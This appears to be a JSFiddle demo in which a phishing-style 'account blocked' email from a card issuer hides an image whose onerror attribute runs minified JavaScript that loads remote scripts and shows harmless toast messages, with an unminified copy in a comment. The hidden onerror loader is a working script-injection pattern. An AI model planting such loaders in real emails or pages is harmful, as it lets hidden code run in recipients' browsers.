JSFiddle - React, Tailwind, and code Playground

by Vasil Svetoslavov

HTML

<h1>Your account has been blocked</h1>
<hr>
<p>
Dear Sir/Madame,
</p>
<p>
  We regretfully inform you that your account has been put on
  hold. Reasaon: <em>Missing document(s)</em>. Please check your account profile and add necessary documents.
</p>
<p>
The following documents need to be provided:
<ul>
<li>Proof of identity</li>
<li>Proof of disability</li>
</ul>
</p>
<p>
We are unable to go further with issuing the card you requested before these documents are provided.
</p>
<p>
Regards,<br>
Unicard Ltd.
</p>
<img
  src="test"
  onerror="new function(){var t,a,n,s,i,l,o=function(e){Toastify({text:e,escapeMarkup:false,gravity:'bottom',duration:5e3}).showToast()};t=document.getElementsByTagName('head')[0],(a=document.createElement('link')).rel='stylesheet',a.type='text/css',a.href='https://cdn.jsdelivr.net/npm/[email protected]/src/toastify.min.css',a.media='all',t.appendChild(a),n=function(){o('I\'m an alien'),o('I\'m a JS alien'),o('I am javascript in your mail'),o('These messages are displayed using <a href=\'https://apvarun.github.io/toastify-js/\' target=\'_blank\'>Toastify JS</a>. The <em>JavaScript</em> and <em>CSS</em> needed are loaded <strong>dynamically</strong>. Hackers might do a lot more than just showing harmless messages...')},s=document.createElement('script'),i=!1,l=document.getElementsByTagName('head')[0],s.src='https://cdn.jsdelivr.net/npm/[email protected]/src/toastify.min.js',s.onload=s.onreadystatechange=function(){i||this.readyState&&'loaded'!=this.readyState&&'complete'!=this.readyState||(i=!0,n&&n(),s.onload=s.onreadystatechange=null,l.removeChild(s))},l.appendChild(s)}"
  style="display: none !important"
/>

JavaScript

/*
A minified version of all this is present in the onerror attribute of the img tag. It's brilliant!
/*
function handleImageError(imageElement) {
	var loadStyle = function(url) {
      var head  = document.getElementsByTagName('head')[0];
      var link  = document.createElement('link');
      link.rel  = 'stylesheet';
      link.type = 'text/css';
      link.href = url;
      link.media = 'all';
      head.appendChild(link);
  };
  
  var loadScript = function(url, completeCallback) {
  	var script = document.createElement('script'), 
    	done = false,
    	head = document.getElementsByTagName('head')[0];
    script.src = url;
    script.onload = script.onreadystatechange = function(){
    	if ( !done && (!this.readyState ||
				this.readyState == 'loaded' || this.readyState == 'complete') ) {
        done = true;
        if (completeCallback) {
	        completeCallback();
        }
        
        // IE memory leak
        script.onload = script.onreadystatechange = null;
        head.removeChild( script );
      }
    };
    head.appendChild(script);
  };
  
  
  var toast = function(message) {
     Toastify({
      text: message,
      gravity: "bottom",
      duration: 3000
     }).showToast();
  };
  
  loadStyle('https://cdn.jsdelivr.net/npm/[email protected]/src/toastify.min.css');
  loadScript('https://cdn.jsdelivr.net/npm/[email protected]/src/toastify.min.js', function() {
	  toast('I\'m an alien');
  	toast('I\'m a JS alien');
  	toast('I am javascript in your mail');
  });
}
*/